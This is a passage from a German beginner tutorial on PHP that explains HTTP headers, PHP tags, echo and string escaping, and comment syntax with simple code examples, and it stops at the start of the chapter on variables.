Quakenet/#php Tutorial - Kompletter Inhalt

Einleitung

  1. Willkommen
  2. Voraussetzungen
  3. Aufbau des Tutorial
  4. Lizenz und Download des Tutorials

1. Willkommen

Dies ist das Quakenet/#php.de Tutorial über PHP und MySQL in der zweiten Version. Es ist komplett neu überarbeitet bzw. neu geschrieben. Es geht von einer PHP5-Version aus, auf Feinheiten der PHP4-Version wird nicht eingegangen, da es bereits veraltet ist.

2. Voraussetzungen

Bevor ihr dieses Tutorial durcharbeiten könnt braucht ihr einige Voraussetzungen.

  1. Da PHP-Skripte in der Regel HTML-Code ausgeben müsst ihr entsprechend HTML schreiben können. Hier empfehlen wir die Einführung in XHTML, CSS und Webdesign von Michael Jendryschik.

  2. Zum Schreiben der PHP-Skripte benötigt ihr einen Editor. Dazu eignen sich Plaintext-Editoren mit Syntaxhighlighting. Die sog. WYSIWYG-Editoren sind hingegen nicht zu empfehlen. Eine Liste von gängigen PHP-Editoren finden sie in der FAQ unter Ich suche einen guten PHP-Editor.

  3. Zum Testen der PHP-Skripte wird ein Webserver bzw. Webspace der PHP unterstützt benötigt. Dafür gibt es genügend kostenlose Webspaces wo die PHP-Skripte getestet werden können. Es ist auch möglich auf den Heim-PC ein Webserver mit PHP zu installieren und Lokal die Skripte testen. Dies ist mit Vorsicht zu genießen da beim Entwickeln leicht die Grenze zwischen Client und Server überschreitet und dann Skripte schreibt die auf die Bereiche des Clients zugreifen was später auf dem eigentlichen Webserver nicht mehr möglich ist.

3. Aufbau des Tutorial

Diese Tutorial ist wie üblich in Kapitel unterteilt. Jedes Kapitel enthält mehrere Unterpunkte. Alle Kapitel sind linear angeordnet, es gibt also eine feste Reihenfolge. Es ist nicht zu Empfehlen Kapitel zu überspringen da die Kapitel aufeinander aufbauen (siehe auch den Hinweis am Anfang der Seite).

Zu jedem Kapitel können Übungsfragen existieren. Mit diesen Fragen kann überprüft werden ob das Kapitel verstanden worden ist. Die Übungsfragen enthalten Verständnisfragen sowie auch Fragestellungen nach PHP-Lösungen.

Unter der URL total.html befindet sich eine komplette zusammenhängende Version des Tutorials. Dies kann verwendet werden um das Tutorial komplett auszudrucken anstatt das Tutorial kapitelweise auszudrucken. Beachten sie jedoch dass dieses Dokument sehr groß ist.

4. Lizenz und Download des Tutorials

Wir bieten zur Onlineversion des Tutorials auch eine Download-Version an. Diese Version enthält alle HTML/CSS-Dateien sowie alle Bilder des Tutorials.

Download von tut.php-quake.net.de.tar.gz

Es kamen häufige Anfragen wo das Tutorial wie benutzt werden darf und was damit bzw. was mit den Inhalt gemacht werden darf und was nicht. Als Grundlage darf verständlicherweise das Tutorial von der offiziellen Homepage http://tut.php-quake.net/ gelesen und die Download-Version auf seinen PC runterladen werden. Des Weiteren darf das Tutorial zu Lernzwecken in der realen Welt verwendet werden. Dies schließt z.B. Unterricht in der Schule, Fortbildungen von Mitarbeitern und Übungen/Seminare an Universitäten mit ein. Jedoch muss deutlich erkennbar sein dass es sich dabei um das Quakenet/#php-Tutorial handelt. Ein Ausgeben des Tutorials auf ein Speichermedium wie einer CD für die Schüler/Mitarbeiter/Studenten ist erlaubt. Fürs Internet dürfen Passagen des Tutorials mit Quellenangaben beliebig zitiert werden.

Es ist nicht erlaubt das Tutorial oder Teile des Tutorials als Mirror bereitzustellen. Dies betrifft die Online- sowie die Download-Version. Wenn sie ihre Besucher auf das Tutorial aufmerksam machen wollen können sie ein Link auf ihrer Homepage hinzufügen. Wenn sie Fragen bezüglich der Lizenz haben fragen sie einen Operator im Channel #php.de vom Quakenet.

Fragen zum Kapitel

1. Womit beginnt ein HTML-Dokument? <head>, <body> oder <html>?

Wenn sie jetzt <html> gesagt haben dann liegen sie falsch. HTML-Dokumente beginnen entweder mit einem DOCTYPE oder sogar mit einer XML-Deklaration. Wenn sie das nicht wussten sollten sie die Einführung in XHTML, CSS und Webdesign von Michael Jendryschik lesen.

Kommunikation zwischen Client und Server

  1. Was ist PHP und was macht es?
  2. Anfrage einer Datei aus der Sicht des Clients
  3. Anfrage einer Datei aus der Sicht des Servers

1. Was ist PHP und was macht es?

PHP ist das rekursive Backronym für PHP: Hypertext Preprocessor. Der Name deutet an, dass etwas vor einem Zeitpunkt verarbeitet wird. In diesem Fall werden die PHP-Befehle in einer Datei verarbeitet bevor der Server die Datei (bzw. dessen Ausgabe) sendet. Vergleichbar ist dies mit einem C-Präprozessor.

PHP ist ein Modul bzw. ein Programm, welches auf den Webserver installiert ist. In den meisten Fällen ist dann auch z.B. eine Datenbank wie MySQL installiert. Das folgende Diagramm veranschaulicht die installierten Programme/Module auf einem Webserver.

Installierte Module auf einem Webserver Abb.:Installierte Module auf einem Webserver

An dem Diagramm ist zu erkennen, dass PHP nichts mit dem Client bzw. mit dessem Browser zu tun hat. Somit ist es mit PHP auch nicht möglich den Client als solches zu steuern. Gewünschte Aktionen, wie Winamp zu steuern oder Programme (auf dem Client) zu starten, sind somit nicht möglich.

Eine typische Anwendung von PHP ist das Verarbeiten von Daten aus einem HTML-Formular, wenn diese an den Webserver geschickt werden. Diese PHP-Skripte können, da sie auf dem Webserver interpretiert werden, mit einer dort installierten Datenbank arbeiten und somit die Formulardaten in diese speichern. Dadurch ist es z.B. möglich mit PHP Newsscripte zu schreiben, die ihre Newsbeiträge aus einer Datenbank auslesen. Das Ergebnis eines solchen PHP-Skripts ist jedoch weiterhin ein normales HTML-Dokument. Der Browser erkennt somit gar nicht, dass der HTML-Code durch ein PHP-Skript erzeugt wurde (Der Benutzer erkennt natürlich die .php Endung in der URL). Dies heißt auch, dass die Benutzer nicht den PHP-Code lesen können.

2. Anfrage einer Datei aus der Sicht des Clients

Wenn der Client eine Datei vom Server anfragt sieht das vereinfacht wie folgt aus.

Client schickt eine Anfrage zum Server Abb.:Client schickt eine Anfrage zum Server

Aus der Sicht des Clients kriegt dieser dann eine Antwort vom Server.

Client bekommt die Antwort vom Server Abb.:Client bekommt die Antwort vom Server

Obwohl nur eine einzige Verbindung zwischen Client und Server besteht, bekommt der Client zwei logisch getrennte Inhalte.

  1. Zuerst werden zum Client diverse Headerangaben gesendet. Diese Angaben beschreiben den darauf folgenden Inhalt, sowie enthalten einige Informationen über den Server. Diese Daten sind für den Benutzer in erster Linie nicht sichtbar, wenn er eine Internetseite besucht. Für manche Browser existieren Extensions, mit denen sich diese Headerangaben anzeigen lassen können. Headerangaben können z.B. wie folgt aussehen:

    HTTP/1.1 200 OK
    Date: Mon, 26 Nov 2007 22:37:21 GMT
    Server: Apache
    Content-Type: text/html

    In PHP ist es möglich diese Headerangaben zu bearbeiten, bevor sie zum Client gesendet werden. Somit ist es möglich, dass ein PHP-Skript ein Bild generieren kann. Jedoch muss vorher der Content-Type geändert werden, z.B. auf Content-Type: image/png.

  2. Nach den Headerangaben wird der eigentliche Inhalt gesendet. Dieser enthält meistens HTML-Code, kann aber auch Binärdaten wie von einem PNG-Bild enthalten.

Mit PHP ist es möglich, beide Bereiche nach Belieben zu bearbeiten. Jedoch gibt es hier eine Einschränkung. Die Headerangaben müssen vor dem Inhalt gesendet werden (passiert automatisch mit der ersten Ausgabe). Wenn sie z.B. mit PHP einen Text ausgeben, können sie danach nicht mehr die Headerangaben ändern. Ein Versuch es trotzdem zu machen erzeugt eine Fehlermeldung der Form Cannot modify header information - headers already sent by (output started at ...).

3. Anfrage einer Datei aus der Sicht des Servers

Wenn der Server eine Anfrage auf eine HTML-Datei bekommt, so braucht der Server diese nur von seiner Festplatte zu laden und zum Client zu senden.

Server bekommt eine Anfrage von einem Client Abb.:Server bekommt eine Anfrage von einem Client

Da der Server auch diverse Headerangaben senden muss, erzeugt er aus der Datei von sich aus einige Headerangaben. Als Beispiel wird die Dateigröße angegeben, formal ist dies der Content-Length-Header. Die kompletten Header könnten wie folgt aussehen.

HTTP/1.1 200 OK
Date: Wed, 28 Nov 2007 16:34:05 GMT
Server: Apache
Last-Modified: Mon, 26 Nov 2007 23:24:33 GMT
ETag: "d9b8a-2301-43fdd444c0e40"
Accept-Ranges: bytes
Content-Length: 8961
Content-Type: text/html

Dahinter sendet der Server dann den HTML-Code der HTML-Datei und ist fertig mit seiner Arbeit.

Server sendet die Antwort zum Client Abb.:Server sendet die Antwort zum Client

Da der Server nichts großartiges machen muss, geschieht dies in der Regel sehr schnell. Interessanter wird die Sache, wenn der Client eine Anfrage auf eine Datei sendet und diese PHP-Code enthält.

Server bekommt eine Anfrage von einem Client Abb.:Server bekommt eine Anfrage von einem Client

Nun muss der Server den Inhalt der Datei laden. Dies ist gleich gegenüber einer normalen HTML-Datei.

Server läd den Inhalt der Datei Abb.:Server läd den Inhalt der Datei

Ab jetzt muss die Bearbeitung durch PHP geschehen. Da der Server nicht von sich aus PHP-Befehle verarbeiten kann, startet er den PHP-Interpreter. Dieser arbeitet nun die Befehle in der Datei entsprechend den Regeln einer Programmiersprache ab.

Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter Abb.:Server verarbeitet die PHP-Befehle mit einem PHP-Interpreter

Am Ende hat dann der PHP-Interpreter bzw. ein PHP-Modul im Webserver die Datei verarbeitet. Nun stehen dem Server die zwei Bereiche Headerangaben und Inhalt vom PHP-Interpreter zur Verfügung. Diese werden nun zum Client gesendet.

Server sendet die Antwort zum Client Abb.:Server sendet die Antwort zum Client

Aus der Sicht des Clients hat sich also nichts geändert. Er bekommt gar nicht mit, dass auf den Server PHP installiert ist und das die angeforderte Datei PHP-Code enthielt. Was er bzw. der Besucher jedoch merkt ist ein Geschwindigkeitsverlust. Da PHP-Dateien erst durch den PHP-Interpreter laufen müssen, braucht der Server viel mehr Zeit (im Vergleich zu einfachen HTML-Dateien) um eine Antwort senden zu können.

Fragen zum Kapitel

1. Welche zwei Teile werden vom Server zum Client gesendet?

In einer HTTP-Verbindung werden die beiden Teile Headerangaben und Inhalt gesendet, und zwar in genau dieser Reihenfolge. Für den genauen Datentransfer zwischen den Client und Server existiert die Norm RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1, die dies genau festlegt.

Grundlagen

  1. Aufbau einer PHP-Datei
  2. Funktionen

1. Aufbau einer PHP-Datei

PHP-Code kann überall in HTML-Code eingebettet werden. Um in den PHP-Modus zu wechseln wird die Zeichenfolge <?php verwendet. Zum Verlassen des PHP-Modus wird die Zeichenfolge ?> verwendet. Alternativ ist es auch möglich den PHP-Interpreter gegen das Dateiende rennen zu lassen. Überall in der Datei kann in den PHP-Modus gewechselt werden, es ist sogar möglich den kompletten Dateiinhalt in den PHP-Modus zu setzen (Ganz vorne ein <?php, ganz hinten ein ?>). Damit der Server weiß dass es sich um eine PHP-Datei handelt, die entsprechend PHP-Befehle enthalten, haben PHP-Dateien die Dateiendungen .php. Dies ist die Standardeinstellung für einen Webserver mit PHP-Support, kann aber auch durch den Administrator geändert werden. Eine Datei könnte z.B. wie folgt aussehen:

<?php
echo "Beispiel einer PHP-Datei\n";
?>

Hier ist die komplette Datei im PHP-Modus. Wie angemerkt kann der PHP-Modus auch nur dort verwendet werden wo er gebraucht wird.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="de" lang="de">
    <head>
        <title>Hi all</title>
    </head>
    <body>
        <?php
        
echo "<p>Der PHP Code</p>\n";
        
?>
    </body>
</html>

Text der sich außerhalb von PHP befindet (üblicherweise HTML-Code) wird als solches zum Client gesendet, ohne dass er vom PHP-Interpreter bearbeitet wird. Er kann aber auch durch PHP-Konstrukte wie Schleifen gesteuert werden.

Die zweite Variante eignet sich nicht zum Bearbeiten von Headerangaben. Mit den ersten Zeichen was als Inhalt gesendet wird (hier das < von <?xml version="1.0" encoding="utf-8"?>) werden auch die Header gesendet und sind somit weg. Es besteht keine Chance mehr diese mittels setcookie oder header zu bearbeiten.

Die XML-Deklaration kann auch ein Strich durch die Rechnung machen wenn mit PHP gearbeitet wird. Die XML-Deklaration beginnt mit der Zeichenkette <?xml. Dies ist zwar nicht gleich der Zeichenkette für PHP (<?php) jedoch gibt es eine PHP-Einstellung das die Zeichenkette <? auch für den PHP-Modus verwendet werden kann. Diese Einstellung nennt sich short_open_tag. Somit wird mit <?xml version="1.0" encoding="utf-8" ?> ungewollt in den PHP-Modus gewechselt. Daraus folgt dass der PHP-Interpreter Befehle bekommt die nicht für ihn bestimmt sind. Dieser kann dann die reine Zeichenfolge xml version="1.0" encoding="utf-8" nicht verarbeiten und erzeugt dann eine Fehlermeldung. Um das Problem zu umgehen kann die XML-Deklaration selbst mit PHP ausgegeben werden. Dies wird z.B. in der Beschreibung zu short_open_tag erklärt. Eine andere Möglichkeit wäre es einfach diese Einstellung zu deaktivieren.

2. Funktionen

Um PHP zu testen kann eine PHP-Datei mit den folgenden Inhalt angelegt werden.

<?php
phpinfo
();
?>

Dieser Inhalt wird in eine Datei namens phpinfo.php gespeichert und hochgeladen. Wenn diese Datei nun im Browser vom Webserver geöffnet wird gibt es zwei mögliche Ausgaben.

  1. Es wird eine reine leere Seite dargestellt. Dies ist der Fehlerfall. Hier muss folgendes Überprüft werden.

    • Die Datei besitzt eine Dateiendung .php damit der PHP-Interpreter sie als PHP-Datei erkennt.

    • Sie enthält gültigen PHP-Code.

    • Auf den Webserver ist PHP installiert und lauffähig.

    • Die Datei wird über eine http://-URL aufgerufen (Es ist ein beliebter Fehler beim lokalen testen die Datei über file://C|/... aufzurufen).

    Hier ist es ratsam sich den Quellcode anzugucken den der Server geschickt hat. Je nach Browser ist dies unter Ansicht -> Quellcode zu finden. Wenn dort der Inhalt der PHP-Datei zu sehen ist wurde die Datei nicht vom PHP-Interpreter verarbeitet.

  2. Im regulären Fall wird eine Seite angezeigt die nützliche Informationen über PHP anzeigt. Mit phpinfo ist es also möglich die Konfiguration von PHP zu betrachten. Dies ist also die erste Anlaufstelle um nachzugucken welche PHP-Module installiert sind und wie die Einstellungen zu PHP sind. Wichtig ist dabei z.B. die PHP Version, aber auch Einstellungen wie error_reporting und display_errors.

An diesem kleinen Beispiel ist der Aufbau eines Funktionsaufrufs zu sehen. Wenn eine Funktion aufrufen werden soll wird zuerst der Namen der Funktion geschrieben, hier phpinfo. Danach folgt eine geöffnete runde Klammer (. Nun können Parameter für diese Funktion folgen. Die Parameter verändern das Verhalten der Funktion entsprechend der Definition der Funktion im Handbuch. Wenn eine Funktion mehrere Parameter erwartet, werden diese untereinander mit einem Kommata (,) trennen. Nach den Parametern (falls vorhanden) wird die Parameterliste mit einer schließenden runden Klammer ) geschlossen. Diese Klammern müssen bei Funktionen immer angegeben werden, selbst wenn kein Parameter verwendet wird (wie im Beispiel oben). In PHP müssen Anweisungen (wie Funktionsaufrufe) mit einem Semikolon ; abgeschlossen werden. Ein einfacher Funktionsaufruf ist z.B. eine solche Anweisung, deswegen folgt hier ein Semikolon.

<?php
name_der_funktion
(parameter1,parameter2,...);
?>

Die einzelnen Teile eines Funktionsaufrufs können beliebig durch Leerzeichen getrennt werden. Um genauer zu sein können sie durch Whitespaces getrennt werden. Dies schließt Leerzeichen mit ein, enthalten aber auch Zeilenumbrüchen und Tabulatoren. Folgende Funktionsaufrufe sind alle gleichbedeutend.

<?php
name_der_funktion
(parameter1,parameter2);
name_der_funktion(parameter1parameter2);
name_der_funktion     (parameter1    ,parameter2)     ;
name_der_funktion(
    
parameter1,
    
parameter2);
name_der_funktion       (      parameter1      ,
    
parameter2
)             ;
                      
name_der_funktion        (parameter1,parameter2)         ;
?>

Es liegt am eigenen Programmierstil welche Schreibweise für einen selbst am besten lesbar ist. Im Bereich PHP gibt es diesbezüglich einen Standard, genannt PEAR Coding Standard. An diesem sollten sich PHP-Programmierer halten damit nicht nur ihr den Quellcode überblickt sondern auch derjeniger der nach euch den Code lesen und verstehen muss.

Fragen zum Kapitel

1. Welche Bedingungen müssen erfüllt sein damit eine PHP-Datei geparst wird?

Eine PHP-Datei wird geparst, wenn folgende Kriterien erfüllt sind

Ausgabe und Strings

  1. Strings ausgeben
  2. HTML-Code ausgeben
  3. Steuerzeichen in Strings

1. Strings ausgeben

Hauptziel eines PHP-Skriptes ist es, unabhängig von der Logik die dahintersteckt, eine Ausgabe zu erzeugen. Beispielweise eine Auflistung der Newsbeiträge. Um in einem PHP-Skript Texte auszugeben (ohne den PHP-Modus zu verlassen) wird üblicherweise der Sprachkonstrukt echo verwendet. Ein Beispiel könnte wie folgt aussehen.

<?php
echo 'Ein Text der ausgegeben wird';
?>

Das Erste was auffällt ist die Tatsache dass die Klammern der Funktion fehlen. Das liegt daran dass echo keine Funktion sondern ein spezieller Sprachkonstrukt ist. Das Manual sagt dazu folgendes.

echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it.

Das Zweite ist dass der Text der ausgegeben werden soll innerhalb von zwei Apostrophs ' steht. Auf diese Weise wird (unabhängig von echo) eine Zeichenkette (Fachbegriff: String) mit dem entsprechenden Inhalt erzeugt. Dieser String dient dann als Parameter für den echo-Sprachkonstrukt und echo gibt diesen String aus. Wenn nun ein PHP-Skript mit diesem Code hochgeladen wird und das Skript aufruft so wird folgender Text ausgegeben.

Ein Text der ausgegeben wird

Fügen wir nun einen weiteren echo-Befehl in unser PHP-Skript ein.

<?php
echo 'Ein Text der ausgegeben wird';
echo 
'Nun folgt ein anderer Text';
?>

Wenn das Skript nun auf einem Webserver läuft wird folgender Text ausgegeben.

Ein Text der ausgegeben wirdNun folgt ein anderer Text

Der zweite String wurde hier einfach hinter den anderem String ausgegeben. Was anderes steht auch nicht im PHP-Skript. Einmal wurde ein String ausgegeben, dann ein weiterer String. Obwohl die beiden echo-Befehle mit einem Zeilenumbruch getrennt sind werden die Strings so wie sie sind ausgegeben. Um einen Zeilenumbruch in der Ausgabe zu haben können wir z.B. das HTML-Element <br/> benutzen.

2. HTML-Code ausgeben

HTML-Code bzw. die besonderen Zeichen < und > können in Strings ohne Probleme benutzt werden. Somit können wir am Ende des ersten Strings das HTML-Element <br/> anfügen.

<?php
echo 'Ein Text der ausgegeben wird<br/>';
echo 
'Nun folgt ein anderer Text';
?>

Wie erwartet steht im Browser den folgenden Inhalt.

Ein Text der ausgegeben wird
Nun folgt ein anderer Text

Wenn der Quellcode im Browser betrachtet wird stehen beide Strings weiterhin hintereinander.

Ein Text der ausgegeben wird<br/>Nun folgt ein anderer Text

3. Steuerzeichen in Strings

Wenn wir versuchen ein Apostroph innerhalb eines Strings zu schreiben erhalten wir ein Problem, da PHP das Ende des Strings fälschlicherweise zu früh erkennt.

<?php
echo 'Dummy Text ' mit Apostroph';
echo '
Ein weiterer Text';
?>

Auch an der Einfärbung erkennt man wie PHP den String nur bis zum 2. Apostroph erkennt. Um nun das Zeichen ' in den String zu kriegen kann man z.B. Double Quoted Strings verwenden. Das sind Strings die statt den Apostroph die Anführungszeichen " als Begrenzer benutzen.

<?php
echo "Dummy Text ' mit Apostroph";
echo 
"Ein weiterer Text";
?>

Eine andere Möglichkeit ist die eine Escape-Sequenz einzufügen. In PHP-Strings ist \ das Escape-Zeichen, es wird verwendet wenn man eine solche Escape-Sequenz haben möchte. In Single Quoted Strings (Strings mit ' als Begrenzer) wird mit \' ein Apostroph erzeugt.

<?php
echo 'Dummy Text \' mit Apostroph';
echo 
'Ein weiterer Text';
?>

Die gleiche Idee kann verwendet werden wenn man in double quoted Strings ein Anführungszeichen erzeugen will.

<?php
echo "Dummy Text \" mit Apostroph";
echo 
"Ein weiterer Text";
?>

Stellt sich nun die Frage wie man ein einzelnes \ erzeugt, ohne dass es gleich als Start einer Escape-Sequenz interpretiert wird. Die Lösung ist das Escapen des Escape-Zeichens.

<?php
echo "Double quoted mit \\ im Text";
echo 
'Single quoted mit \\ im Text';
?>

Obwohl single quoted und double quoted Strings scheinbar die selbe Funktionalität besitzen sind in double quoted Strings mehr Escape-Sequenzen möglich. Die folgende Tabelle enthält eine Liste der zusätzlichen Escape-Sequencen in double quoted Strings.

Tabelle der Escape-Sequencen
Zeichen Beschreibung
\n Ein Zeilenumbruch
\r Ein Wagenrücklauf, oft verwendet bei Netzwerkprotokollen.
\t Ein Tabulator
\v Vertikaler Tabulator, eher selten verwendet
\f Seitenvorschub, noch seltener verwendet
\$ Ein Dollarzeichen. Ohne diese Sequenz wird versucht eine Variable zu finden und dessen Inhalt einzufügen.
\0 bis \777 Ein Zeichen aus dem Bereich von 0x000 bis 0x1FF
\x0 bis \xFF Ein Zeichen aus dem Bereich von 0x00 bis 0xFF

Fragen zum Kapitel

1. Was für Strings gibt es in PHP?

In PHP gibt es 4 Arten von Strings, wobei hier 2 genannt wurden. Neben Double quoted Strings und Single quoted Strings gibt es auch noch sogenannte Heredocs und Nowdocs. Eine Erklärung von Strings ist im Handbuch von PHP unter Strings zu finden.

Kommentare

  1. Was sind Kommentare?
  2. Syntax von Kommentaren
  3. Auskommentieren

1. Was sind Kommentare?

In PHP werden Texte bzw. Textstellen die der PHP-Interpreter ignoriert als Kommentare bezeichnet. Dies ist Vergleichbar mit den HTML-Kommentaren mit der <!-- -->-Syntax. Somit kann man, wie der Name es schon sagt, Kommentare zum Skript schreiben bis hin zu einzelnen Hinweisen zu Zeilen im PHP-Skript hinzufügen. So kann z.B. ein Author seinen Namen und die Lizenzbestimmungen in seinem PHP-Skript hinterlassen, ohne dass der PHP-Interpreter sich darüber beschwert dass ungültiger PHP-Code im PHP-Skript steht.

2. Syntax von Kommentaren

In PHP gibt es 4 Arten von Kommentartypen, wobei meistens nur 3 von denen benutzt. Und von diesen drei gibt es zwei Kommentartypen die fast identisch sind. Daher wird nur zwischen zwei Klassen von Kommentartypen unterschieden. Einmal den einzeiligen Kommentaren und den mehrzeiligen Kommentaren.

  1. Bei den einzeiligen Kommentaren handelt es sich um Kommentare die bis zum Zeilenende oder ?> gelten. Solch ein einzeiliger Kommentar wird mit der Zeichenkette // eingeleitet (nicht zu verwechseln mit der String Escape-Sequenz \\). Der folgende Text wird dann als Kommentar behandelt und somit vom PHP-Interpreter ignoriert.

    <?php
    echo 'Text'// gib einen Text aus

    // Gebe nun einen weiteren Text aus
    echo 'weiterer Text';

    // echo 'ich werde nicht ausgegeben, da ich in einem Kommentar stehe';

    echo 'Ich werde ausgegeben, obwohl ich ein // im String enthalte';

    // kommentar läuft bis zum php-ende ?><?php echo 'ich bin nicht mehr im kommentar'?>

    An den Beispielen sieht man, dass nicht jedes // ein Kommentar ist, z.B. wenn es in einem String steht. Auch wird ?> als mögliches Ende erkannt.

  2. Mehrzeilige Kommentare definieren Kommentare die sich über mehrere Zeilen erstrecken können. Statt also in jeder Zeile am Anfang ein // zu schreiben wird ein Start- und Ende-Zeichen für einen mehrzeiligen Kommentar geschrieben. Ein mehrzeiliger Kommentar wird dabei mit /* gestartet und endet beim nächsten */.

    <?php
    echo "Wieder was ausgeben";
    /* Irgendein Kommentar der
    sich über mehrere
    Zeilen
    erstreckt bis zum
    entsprechenden stopzeichen */
    echo "Und wieder im PHP-Modus drin";
    ?>

    Für das Auge kann man diese Kommentare nun etwas lesbarer schreiben, so z.B. einige Zeilen einrücken.

    <?php
    echo "Wieder was ausgeben";
    /* Irgendein Kommentar der
       sich über mehrere
       Zeilen
       erstreckt bis zum
       entsprechenden stopzeichen */
    echo "Und wieder im PHP-Modus drin";
    ?>

    Dies kann man auch übertreiben und Kommentare noch besonders vorheben.

    <?php
    /***********************
     * Konfiguration laden *
     ***********************/
    echo "Config laden";
    ?>

    Hier sieht man auch, dass es nicht nötig ist Leerzeichen vor bzw. nach den Start- und End-Markierungen hinzuzufügen. Bei dieser Art der Kommentare kann das PHP-Ende ?> nicht mehr als Kommentarende erkannt werden.

  3. Die dritte Variante sind die Kommentare im PHPDoc Style. Diese sind fast identisch mit den mehrzeiligen Kommentare. Der Unterschied liegt an der Startmarkierung /** wobei das Leerzeichen am ende ein beliebiges Whitespace ist. Oft wird dabei ein Zeilenumbruch statt den Leerzeichen benutzen.

    <?php
    /**
    Ein Kommentar im PHPDoc Style
    */
    echo "wieder normaler php code";
    ?>

    Nun stellt man sich die Frage warum zwei unterschiedliche mehrzeilige Kommentare existieren wo die sich kaum Unterscheiden. Mit PHPDoc bezeichnet man spezielle Kommentare die dazu dienen bestimmte Teile im PHP-Skript zu Kommentieren. So schreibt man z.B. vor eigens definierten Funktionen einen solchen PHPDoc Kommentar der beschreibt wie diese Funktion arbeitet und was sie leistet.

    <?php
    /**
     * Gibt eine Zahl aus.
     *
     * Die folgende Funktion gibt die übergebene Zahl aus.
     *
     * @param i Die Zahl die ausgegeben werden soll.
     */
    function ausgeben($i) {
        
    // ...
    }
    ?>

    Der Aufbau eines solchen PHPDocs wird durch das phpDocumentor Projekt geregelt. Dies ist vergleichbar mit dem Javadoc Tool mit dem selben hintergedanken. Wenn nun solche PHPDoc-Kommentare in einem Quellcode einfügt werden, so können spezielle Programme (eben dieses PHPDoc) verwendet werden die diese PHPDoc-Kommentare auslesen und verarbeiten. Sie erstellen dann aus den Daten HTML-Seiten mit den Beschreibungen der Funktionen (und Klassen). Somit können fremde PHP-Autoren sich einfacher in den PHP-Quellcode einlesen und müssen nicht mehr oder weniger raten was eine Funktion machen soll sondern lesen einfach in den generierten HTML-Dateien die Beschreibungen nach.

3. Auskommentieren

Neben den Schreiben von Entwicklerhinweisen ist es auch möglich Kommentare für etwas zu nutzen was allgemein Auskommentieren genannt wird. Im Entwicklungsprozess möchte man z.B. manchmal PHP-Code deaktieren bzw. nicht ausführen lassen, unabhängig von eventuellen Benutzereingaben. Eine Möglichkeit wäre es den entsprechenden PHP-Code zu löschen. Aber dann ist er entsprechend nicht mehr vorhanden und muss wieder hingeschrieben werden wenn man ihn doch wieder braucht. Hingegen einfacher ist es den PHP-Code kurzerhand in einen Kommentar zu packen. Nehmen wir an wir hätten folgenden PHP-Code.

<?php
mach_was
();
mach_dies();
und_jenes();
?>

Wenn der Entwickler nun die Ausführung von mach_dies() kurz deaktiveren will kann er diesen in einen einzeiligen Kommentar schreiben.

<?php
mach_was
();
//mach_dies();
und_jenes();
?>

Wenn man nun mit seinen Tests des PHP-Skripts fertig ist so braucht er dann einfach die // Zeichen löschen. Für mehrere Zeilen kann man auch die mehrzeiligen Kommentare verwenden.

<?php
mach_was
();
/*
mach_dies();
und_jenes();
und_dies();
und_das();
*/
und_wieder_dies();
?>

Hier gibt es einen Trick wie man die Ausführung wieder schnell aktivieren kann, neben dem Löschen von /* und */. Dazu muss man zuerst vor dem */ ein // schreiben, also den Start eines einzeiligen Kommentars.

<?php
mach_was
();
/*
mach_dies();
und_jenes();
und_dies();
und_das();
//*/
und_wieder_dies();
?>

Um nun die Ausführung wieder zu aktivieren ersetzt man /* durch //*, formt das ganze zu einem einzeiligen Kommentar um.

<?php
mach_was
();
//*
mach_dies();
und_jenes();
und_dies();
und_das();
//*/
und_wieder_dies();
?>

Jetzt sieht man auch warum man vorhin die // bei */ einfügen musste. So wird sichergestellt dass kein ungültiger PHP-Code entsteht (gennant Parse Error). Wie man sieht existieren nun 2 einzeilige Kommentare. Wenn man nun wieder das //* durch /* ersetzt so wird das ganze wieder zu einem mehrzeiligen Kommentar bis zum */.

Da ein mehrzeiliger Kommentar mit einem */ endet ist es nicht möglich innerhalb des mehrzeiligen Kommentars die Zeichenkette */ zu verwendet. Dies mag trivial klingen jedoch ist dies eine beliebte Fehlerquelle bei Kommentaren, wenn versucht wird Kommentare zu schachteln. Dies macht man nicht bewusst sondern eher durch unbedachtheit. Wir nehmen folgenden PHP-Code an.

<?php
mach_dies
();
mach_das();
/*
deaktiviert();
deaktiviert2();
*/
und_dieses();
und_jenes();
?>

Nun möchte man einen größeren Block deaktivieren, z.B. von mach_das() bis und_dieses(). Naiv könnte man wieder einen mehrzeiligen Kommentar einfügen.

<?php
mach_dies
();
/*
mach_das();
/*
deaktiviert();
deaktiviert2();
*/
und_dieses();
*/
und_jenes();
?>

Bei diesem PHP-Code würde der PHP-Interpreter die Abarbeitung unterbrechen. Anhand der Färbung hier im Tutorial ist zu erkennen dass der äußere Kommentar nicht als solches erkannt wird. Jedoch aus Sicht von PHP ist alles logisch und sinnvoll. In Zeile 3 erkennt PHP den Beginn eines mehrzeiligen Kommentars und in Zeile 8 das Ende des mehrzeiligen Kommentars (nicht in Zeile 10 wie gewollt). Somit würde auch und_dieses() Ausgeführt werden. Jedoch scheitert der PHP-Interpreter schon am Parsen des Skripts, da er mit dem */ in Zeile 10 nichts anfangen kann, und quittiert die Abarbeitung mit einem Parse Error. Zwar erkennt man hier schnell den Fehler, aber bei größeren Programmcode kann sich so ein Parse Error einschleichen weil man zuerst einen kleineren Kommentar hat und darüber ein größeren Kommentar erzeugt.

Fragen zum Kapitel

1. Welche Kommentararten gibt es?

Es gibt insgesammt 4 Kommentararten, hier wurden jedoch nur 3 besprochen. Dies sind die einzeiligen Kommentare, mehrzeiligen Kommentare und PHPDoc Kommentare. Die 4. Möglichkeit sind einzeilige Kommentare die das Zeichen # statt // verwenden. Eine Beschreibung der Kommentare in PHP findet man im Handbuch unter Comments.

Variablen

  1. Was sind Variablen?
  2. Aufbau von Variablen
  3. Zuweisungsoperator

1. Was sind Variablen?

Üblicherweise dienen PHP-Skripte dazu eine Ausgabe dynamisch zu erzeugen. Die PHP-Skripte selbst sind jedoch konstant was deren Inhalt betrifft. Daher müssen wir im PHP-Skript etwas haben was dynamisch gefüllt werden kann. Dafür gibt es Variablen. Sie werden vom Skript entsprechend mit Daten gefüllt und können dann an anderere Stelle im Skript verwendet werden.

2. Aufbau von Variablen

